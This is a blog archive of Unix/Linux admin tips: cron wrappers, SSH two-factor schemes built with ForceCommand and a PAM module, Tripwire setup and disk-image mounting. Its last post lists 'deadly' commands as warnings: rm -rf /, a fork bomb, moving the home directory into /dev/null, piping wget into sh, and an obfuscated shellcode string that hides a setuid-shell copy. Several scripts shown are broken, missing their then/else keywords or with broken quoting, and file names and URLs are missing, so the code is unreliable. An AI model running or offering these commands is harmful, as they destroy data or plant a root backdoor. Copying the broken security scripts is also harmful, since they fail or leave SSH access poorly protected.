Choose color scheme

Category Archives: unix / linux

  • tcpdump full packets to a file

    Because I always end up wasting 20 minutes looking it up.

    tcpdump -i ethX -s 0 -w traffic.pcap
  • Add fault tolerance to cron noise

    Not all cron jobs are created equal, and some of them can afford to fail sporadically before we need to worry about them. Maybe they rely on a third party server, and we don’t want the occasional fail to pollute our inbox.

    Here is a little cron job wrapper I created that will suppress stderr but keeps track of the job’s returned exit codes. Above a certain threshold of consecutive abnormal exits it doesn’t suppress stderr anymore.

    # if the counter file doesn't already exist we create/initialize it
    if [ ! -f /tmp/counter_ri7g3 ] ;
        echo 0 > /tmp/counter_ri7g3 ;
    fi ;
    # we pull the current counter
    counter=`cat /tmp/counter_ri7g3` ;
    # if the counter is still small, we send stderr to /dev/null
    if [ $counter -lt 5 ] ;
        $1 > /dev/null 2>&1 ;
    # otherwise stderr will follow its normal path and find its way to email
        $1 > /dev/null ;
    fi ;
    # lastly if running the $1 resulted in an abnormal exit, the counter is incremented
    if [ ! $? = 0 ] ;
        counter=`cat /tmp/counter_ri7g3` ;
        echo "$counter+1" | bc > /tmp/counter_ri7g3 ;
    # and if $1 exited normally, we reset the counter
        echo 0 > /tmp/counter_ri7g3 ;
    fi ;

    a cron entry calling it looks as such:

    30 * * * *      root      /usr/local/bin/cron_wrapper "/path/to/script arg_1 arg_2"
  • Poor man’s 2FA: a simpler 2-factor authentication mechanism for SSH

    The problem with PAM based 2FA:
    • PAM does not get called when the SSH daemon does key based authentication. So your 2FA there only works with password authentication. This might be something you want but maybe not.
    • A PAM module based solution to 2FA is harder to implement
    The solution: Poor man’s 2FA!

    It is possible to add the ForceCommand directive to your sshd_config. Like the name suggests it simply runs a command after authentication and before the shell is spawned. This is a good spot to add an extra check, say another factor for authentication.

    The code:
    trap "echo "I'm sorry Dave. I'm afraid I can't do that."; sleep 1 ; kill -9 $PPID ; exit 1" 2 20
    code=`od -a -A n /dev/urandom | head -2 | tr -d ' ' | tr -d 'n' | sed 's/[^a-zA-Z0-9]//g' | awk '{print substr($0,1,5)}'`
    echo -e "Subject:$code\nFrom:root@server <>\n2FA code in subject" | sendmail
    read input
    if [ $code = $input ];
        `awk -F: '($1 == $LOGNAME) { print $7 }' /etc/passwd`
    kill -9 $PPID

    That’s it really, save this to an executable file, replace the obvious variables and ForceCommand its ass.

  • Python SNMP simple example to get 1 OID

    Because it took me forever to piece this simple code together

    import netsnmp
    session = netsnmp.Session( DestHost='', Version=2, Community='public' )
    vars = netsnmp.VarList( netsnmp.Varbind('.') )
    print( session.get(vars) )
  • Shell scripting – updating a file holding a counter

    counter=`cat /tmp/counter` ; echo "$counter+1" | bc > /tmp/counter

    note that loading the /tmp/counter into the variable is a necessary indirection, the following:

    echo "`cat /tmp/counter`+1" | bc > /tmp/counter

    would not work as the output redirection gets triggered before the cat gets a chance to happen, so the file is emptied too early.

  • Adding an Endace card to Symantec’s DLP

    I decided to publish this hack as I could not find an iota of information about getting an Endace card working With Symantec’s DLP (previously Vontu) on RedHat.

    After you’ve installed the module for your Endace card, you recycle your sensor and are confronted with the following error message:

    Endace DAG driver is not available
    Packet Capture was unable to activate Endace device support. Please see PacketCapture.log for more information.

    A look at /var/log/Vontu/debug/PacketCapture.log yields:

    ERROR PacketDriverFactory - Driver Dag is unavailable: cannot open shared object file: No such file or directory [PacketDriverFactory.cpp(423)]

    do an


    You will notice you just compiled a version more recent than As it turns out, Symantec DLP v11.0 does NOT know how to use the generic nor the latest you just compiled. I’ve tried many tricks mostly with symlinks and I just couldn’t get it to use

    Hold on to your pants as I explain the unholy hack that made it work:

    edit /opt/Vontu/Protect/lib/native/ , this is a binary file so using a hex editor is a good idea although vi works fine. Also, do respect placement very carefully, you will be changing 1 character and 1 character only.

    search for and replace its 3 by a 4.

    Recycle your server again and it should be happy about life :)

  • Mounting a partition from a disk image

    So you’ve dded a disk and you would like to mount its partitions from the resulting image file. Easy enough, first:

    fdisk -l -u /path/to/disk.img

    Which will yield a variation of the following output:

    You must set cylinders.
    You can do this from the extra functions menu.
    Disk disk.img: 0 MB, 0 bytes
    255 heads, 63 sectors/track, 0 cylinders, total 0 sectors
    Units = sectors of 1 * 512 = 512 bytes
    Sector size (logical/physical): 512 bytes / 512 bytes
    I/O size (minimum/optimal): 512 bytes / 512 bytes
    Disk identifier: 0x00000080
       Device Boot      Start         End      Blocks   Id  System
    disk.img1              63    15631244     7815591   82  Linux swap / Solaris
    disk.img2   *    15631245   113290379    48829567+  83  Linux
    Partition 2 has different physical/logical endings:
         phys=(1023, 254, 63) logical=(7051, 254, 63)
    disk.img3       113290380   210949514    48829567+  83  Linux
    Partition 3 has different physical/logical beginnings (non-Linux?):
         phys=(1023, 254, 63) logical=(7052, 0, 1)
    Partition 3 has different physical/logical endings:
         phys=(1023, 254, 63) logical=(13130, 254, 63)

    Partitions available on the disk image are listed as disk.img1, disk.img2 & disk.img3. Great, pick which one you want to mount and look at where it starts.
    disk.img2 starts at 15631245, multiply that by 512. 15631245 * 512 = 8003197440.
    Finally, mount the disk image at the offset you calculated as such:

    mount -o loop,offset=8003197440 -t auto /path/to/disk.img /mnt/disk_img_partition2

    And done!

  • 2-factor authentication & writing PAM modules for Ubuntu



    The problem

    Passwords are often seen as a weak link in the security of today’s I.T. infrastructures. And justifiably so:

    • re-usability, which we’re all guilty of, guarantees that credentials compromised on a system can be leveraged on many others. And given the world we live in, password re-use is inevitable, we just have too many accounts in too many places.
    • plain text protocols are still used to transmit credentials, and the result is that they are exposed to network sniffing. This is worsened by the increase in wireless usage which broadcasts information. Telnet, FTP, HTTP come to mind but they aren’t the only ones.
    • lack of encryption on storage is a flaw that too often makes it way into architecture design. How many databases have we heard about getting hacked & dumped? How many have we not heard about?
    • password simplicity & patterns are also factors weakening us against bruteforce attacks.

    So far, the main counter measure we’ve see out there is complexity enforcement. Sometimes IP restriction, or triggering warnings on geographic inconsistencies (Gmail, Facebook). But these barely help alleviate problem.

    A solution

    One hot solution that is making its way into critical systems (banks, sensitive servers) is Multi-factor authentication, and by “multi” we’ll stick to 2-factor authentication (2FA) because, well 3 factor authentication might be getting a little cumbersome :). The goal is to have more than one mean of establishing identity. And as much as possible, the means have to be distinct in order to reduce the chances of having both mechanisms compromised.

    Let’s see how to implement 2FA on an Ubuntu server for SSH. Ubuntu uses PAM (Pluggable Authentication Modules) for SSH authentication among other things. PAM’s name speaks for itself, it’s comprised of many modules that can be added or removed as necessary. And it is pretty easy to write your own module and add it to SSH authentication. After PAM is done with the regular password authentication it already does for SSH, we’ll get it to send an email/SMS with a randomly generated code valid only for this authentication. The user will need access to email/cell phone on top of valid credentials to get in.


    Let’s do an ls on /lib/security, this is where the pam modules reside in Ubuntu.

    Let’s go ahead and create our custom module. First, be very careful, we’re messing with authentication and you risk locking yourself out. A good idea is to keep a couple of sessions open just in case. Go ahead and download the source for our new module.

    Take a look at the code, you’ll see that PAM expect things to be laid out in a certain way. That’s fine, all we care about is where to write our custom code. In our case it starts at line 35. As you can see, the module takes 2 parameters, a URL and the size of the code to generate. The URL will be called and passed a code & username. It is this web service that will be in charge of dispatching the code to the user. This step could be done in the module itself but here we have in mind a centrally managed service in charge of dispatching codes to multiple users.

    Deploying the code is done as follows:

    gcc -fPIC -lcurl -c 2ndfactor.c
    ld -lcurl -x --shared -o /lib/security/ 2ndfactor.o

    If you got errors, you probably need to first:

    apt-get update
    apt-get install build-essential libpam0g-dev libcurl4-openssl-dev

    Do an ls on /lib/security again and you should see our new module, yay!

    Now let’s edit /etc/pam.d/sshd, this is the file that describes which PAM modules take care of ssh authentication, account & session handling. But we only care about authentication here. The top of the file looks like:

    # PAM configuration for the Secure Shell service
    # Read environment variables from /etc/environment and
    # /etc/security/pam_env.conf.
    auth       required # [1]
    # In Debian 4.0 (etch), locale-related environment variables were moved to
    # /etc/default/locale, so read that as well.
    auth       required envfile=/etc/default/locale
    # Standard Un*x authentication.
    @include common-auth

    The common-auth is probably what takes care of the regular password prompt so we’ll add our module call after this line as such:

    auth       required base_url= code_size=5

    The line is pretty self descriptive: this is an authentication module that is required (not optional), here’s its name and the parameters to give it.

    send_code.php can be as simple as:

    <?php mail( "{$_GET['username']}", "{$_GET['code']}" ) ; ?>

    Or a complex as you can make it for a managed, multi-user, multi-server environment.

    Lastly, edit /etc/ssd/sshd_config and change ChallengeResponseAuthentication to yes. Do a quick

    /etc/init.d/ssh restart

    for the change to take effect.

    That’s it! try and ssh in, the code will be dispatched and you will be prompted for it after the usual password. This was tested on Ubuntu 10.04 32b / Ubuntu 10.04.2 64b / Ubuntu 11.04 64b / Ubuntu 12.04 64b.

    A few disadvantages of this 2FA implementation worth mentioning
    • more steps required to get in
    • doesn’t support non TTY based applications
    • relying on external services (web service, message delivery), thus adding points of failure. Implementing a fail-safe is to be considered.
    • SSH handles key authentication on its own, meaning a successful key auth does not go through PAM and thus does not get a chance to do the 2nd factor. You might want to disable key authentication in sshd’s config.
  • Tripwiring your linux box

    Privilege escalation, trojan’ed SSH daemons, key loggers… While the focus is still mostly on MS platforms, Unix boxes aren’t free of exploits. As they are made popular by Macs and ever more approachable distributions like Ubuntu, they become more of a focus. The large share of the server market they represent is a considerable source of information that is mouth-watering to hackers.

    A good tool in the fight against ever evolving malware is Tripwire (the open source version cause we’re cheap). It takes the signature of key files on your systems (configuration, binaries) and checks them regularly for changes. Its major strength is the fact that no matter what exploit was used to compromise a certain binary, if this binary is infected, tripwire will go off. Modern antivirus softwares look for specific signatures of known infections, and there are so many of them that they only look for the ones that are thought to be in the wild at any given time. They also are in reactive mode against 0days and usually take a few days to adjust. Their behavioral analysis methods are based on heuristics and generate too many false positives to be worthwhile.

    Tripwire doesn’t care what the infection is, it just goes off if something changed. This is simple and efficient. Now it should only be one piece of a comprehensive security policy.

    In this article we’ll look at getting it installed and going on Ubuntu in a matter of minutes. You’ll want to be root for all this.


    First, get the package:

    aptitude install tripwire

    It’ll ask you for the passphrases used to secure itself.

    You’ll end up with these config files in /etc/tripwire:


    Edit /etc/tripwire/twpol.txt to define which areas to keep an eye on, a pretty ok default is provided but needs some tweaking for Ubuntu and personal preference. I’d publish mine but hey, that’d be pretty stupid. Just keep in mind that you can use an exclamation mark “!” to negate a line, let’s say you want it to look at /etc but not /etc/shadow (user will want to change passwords in most cases) you’ll have a rule that looks like that:

    /etc        -> $(SEC_BIN) ;
    ! /etc/passwd ;


    When you’re done, run:

    twadmin --create-polfile -S /etc/tripwire/site.key /etc/tripwire/twpol.txt

    This will create the secured policy file based on the text file you just edited.


    The config file (/etc/tripwire/twcfg.txt) can be edited too but the defaults are nice too. When done run:

    twadmin --create-cfgfile -S /etc/tripwire/site.key /etc/tripwire/twcfg.txt

    Again, this creates it secured equivalent.


    Make sure that the created file are only readable/writable by root

    chmod 600 /etc/tripwire/tw.cfg /etc/tripwire/tw.pol

    Good practice dictates that you also should be removing plain text configuration files but you’ll want to keep them around for a little while, as you tweak your original config.


    Finally, you can initialize the database with:

    tripwire --init

    What this does is take a snapshot of everything you’ve specified in the policy file. If any of it changes, you’ll be notified.


    The following will run the check for changes manually.

    tripwire --check

    When you installed the package with aptitude, /etc/cron.daily/tripwire was automatically created to have this run everyday, root will received a mail report every day.


    If you want to make a change to the base config:

    edit /etc/tripwire/twpol.txt
    twadmin --create-polfile -S /etc/tripwire/site.key /etc/tripwire/twpol.txt
    tripwire --init

    If you want to update the base config, for example to acknowledge changes that happened on the box:

    tripwire --update --twrfile /var/lib/tripwire/report/<hostname>-<date>-<hour>.twr
  • Deadly Unix Commands

    • the oldie but goodie
    rm -rf /

    will recursively/force erase starting from the root directory

    • the obfuscated oldie but goodie
    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755

    same as the previous one but harder to tell what it actually does

    • the fork bomb
    <code class="plain plain">:(){:|:&};:</code>

    forks processes until the box dies. note that this command should not result in permanent damage unlike the other ones.

    • running code from a remote source
    wget -O- | sh

    lulscript will be executed on the local machine

    • the one you don’t need root for
    mv ~/* /dev/null

    sends the relative home directory into a black hole